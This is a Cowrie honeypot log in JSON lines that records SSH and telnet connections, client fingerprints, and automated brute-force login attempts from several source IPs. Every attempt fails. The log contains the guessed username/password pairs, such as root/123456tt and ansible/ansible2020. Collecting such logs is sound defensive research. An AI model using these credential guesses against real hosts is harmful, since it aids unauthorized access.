{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35590,"dst_ip":"10.17.0.5","dst_port":23,"session":"878b9e9c37d5","protocol":"telnet","message":"New connection: 139.162.207.207:35590 (10.17.0.5:23) [session: 878b9e9c37d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:46.769292Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":57438,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f5b3ec3092","protocol":"ssh","message":"New connection: 80.94.92.182:57438 (10.17.0.5:22) [session: 32f5b3ec3092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:59.342585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:59.511937Z","src_ip":"80.94.92.182","session":"32f5b3ec3092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:59.516244Z","src_ip":"80.94.92.182","session":"32f5b3ec3092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:00.625590Z","src_ip":"80.94.92.182","session":"32f5b3ec3092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017261505127,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:00.806123Z","src_ip":"92.52.131.58","session":"73f553567db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.52.131.58","src_port":49550,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e6b845274a","protocol":"telnet","message":"New connection: 92.52.131.58:49550 (10.17.0.5:23) [session: 17e6b845274a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:01.121315Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:01.849626Z","src_ip":"80.94.92.182","session":"32f5b3ec3092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56428,"dst_ip":"159.203.135.109","dst_port":22,"session":"dacfbe52762e","protocol":"ssh","message":"New connection: 159.203.92.129:56428 (159.203.135.109:22) [session: dacfbe52762e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:08.057054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:08.061359Z","src_ip":"159.203.92.129","session":"dacfbe52762e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:08.065938Z","src_ip":"159.203.92.129","session":"dacfbe52762e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2019","message":"login attempt [ansible/ansible2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:08.077024Z","src_ip":"159.203.92.129","session":"dacfbe52762e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:09.083008Z","src_ip":"159.203.92.129","session":"dacfbe52762e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53564,"dst_ip":"10.17.0.5","dst_port":23,"session":"89051d681f60","protocol":"telnet","message":"New connection: 139.162.207.207:53564 (10.17.0.5:23) [session: 89051d681f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:15.856283Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53574,"dst_ip":"10.17.0.5","dst_port":23,"session":"b73198831c73","protocol":"telnet","message":"New connection: 139.162.207.207:53574 (10.17.0.5:23) [session: b73198831c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:18.349637Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53590,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc0308c83fd7","protocol":"telnet","message":"New connection: 139.162.207.207:53590 (10.17.0.5:23) [session: dc0308c83fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:19.386746Z"}
{"eventid":"cowrie.session.closed","duration":35.82219648361206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:20.086351Z","src_ip":"139.162.207.207","session":"ac0d7198b391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":59746,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dedc3fc2fa4","protocol":"ssh","message":"New connection: 37.143.61.130:59746 (159.203.135.109:22) [session: 0dedc3fc2fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:24.284117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:25.798957Z","src_ip":"37.143.61.130","session":"0dedc3fc2fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.08673429489136,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:25.855913Z","src_ip":"139.162.207.207","session":"878b9e9c37d5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:27.186892Z","src_ip":"37.143.61.130","session":"0dedc3fc2fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456tt","message":"login attempt [root/123456tt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:30.888499Z","src_ip":"37.143.61.130","session":"0dedc3fc2fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:32.198998Z","src_ip":"37.143.61.130","session":"0dedc3fc2fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.107","src_port":55682,"dst_ip":"10.17.0.5","dst_port":22,"session":"45b7ed4f5b6c","protocol":"ssh","message":"New connection: 198.235.24.107:55682 (10.17.0.5:22) [session: 45b7ed4f5b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:38.153683Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:38.501146Z","src_ip":"198.235.24.107","session":"45b7ed4f5b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50154,"dst_ip":"159.203.135.109","dst_port":22,"session":"68979a3cc184","protocol":"ssh","message":"New connection: 159.203.92.129:50154 (159.203.135.109:22) [session: 68979a3cc184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:50.520367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:50.524279Z","src_ip":"159.203.92.129","session":"68979a3cc184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:50.528661Z","src_ip":"159.203.92.129","session":"68979a3cc184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2020","message":"login attempt [ansible/ansible2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:50.538789Z","src_ip":"159.203.92.129","session":"68979a3cc184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:51.544211Z","src_ip":"159.203.92.129","session":"68979a3cc184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.69263505935669,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:52.548781Z","src_ip":"139.162.207.207","session":"89051d681f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37888,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c3d30e96aa6","protocol":"ssh","message":"New connection: 2.57.121.25:37888 (159.203.135.109:22) [session: 5c3d30e96aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:52.878072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:52.898453Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:52.997484Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"deathrow","message":"login attempt [user/deathrow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:53.469465Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dashka","message":"login attempt [user/dashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:54.571234Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"danil","message":"login attempt [user/danil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:55.673051Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"damned","message":"login attempt [user/damned] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:56.774495Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.50857186317444,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:56.858064Z","src_ip":"139.162.207.207","session":"b73198831c73","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"dakine","message":"login attempt [user/dakine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:57.875956Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:57:58.977432Z","src_ip":"2.57.121.25","session":"5c3d30e96aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.91453719139099,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:00.301182Z","src_ip":"139.162.207.207","session":"dc0308c83fd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":64293,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c32ed907fc8","protocol":"ssh","message":"New connection: 213.209.159.159:64293 (10.17.0.5:22) [session: 6c32ed907fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:04.669837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:04.833407Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:04.912353Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun","message":"login attempt [dashaun/dashaun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:05.313588Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun1","message":"login attempt [dashaun/dashaun1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:06.398570Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun123","message":"login attempt [dashaun/dashaun123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:07.483319Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun1234","message":"login attempt [dashaun/dashaun1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:08.568937Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun12345","message":"login attempt [dashaun/dashaun12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:09.653003Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:10.738465Z","src_ip":"213.209.159.159","session":"6c32ed907fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":34268,"dst_ip":"10.17.0.5","dst_port":23,"session":"098e200540e5","protocol":"telnet","message":"New connection: 103.157.135.60:34268 (10.17.0.5:23) [session: 098e200540e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:23.804533Z"}
